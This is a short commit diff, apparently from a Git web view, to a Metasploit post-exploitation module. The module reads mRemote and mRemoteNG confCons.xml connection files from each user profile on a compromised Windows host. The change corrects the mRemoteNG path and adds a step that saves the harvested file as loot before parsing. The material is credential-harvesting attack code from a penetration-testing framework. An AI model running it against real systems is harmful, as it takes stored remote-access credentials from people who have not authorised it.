fix pathing in mremoteng
parent
741bbefae8
commit
f926f6e9af
|
@ -39,7 +39,7 @@ class MetasploitModule < Msf::Post
|
|||
grab_user_profiles().each do |user|
|
||||
next if user['LocalAppData'] == nil
|
||||
tmpath = user['LocalAppData'] + '\\Felix_Deimel\\mRemote\\confCons.xml'
|
||||
ng_path = user['LocalAppData'] + '\\..\\Roaming\\mRemoteNG\\confCons.xml'
|
||||
ng_path = user['AppData'] + '\\mRemoteNG\\confCons.xml'
|
||||
get_xml(tmpath)
|
||||
get_xml(ng_path)
|
||||
end
|
||||
|
@ -50,7 +50,9 @@ class MetasploitModule < Msf::Post
|
|||
begin
|
||||
if file_exist?(path)
|
||||
condata = read_file(path)
|
||||
parse_xml(condata)
|
||||
loot_path = store_loot('confCons.xml', 'text/plain', session, condata)
|
||||
vprint_good("confCons.xml saved to #{loot_path}")
|
||||
parse_xml(condata)
|
||||
print_status("Finished processing #{path}")
|
||||
end
|
||||
rescue Rex::Post::Meterpreter::RequestError
|
||||
|
|
Loading…
Reference in New Issue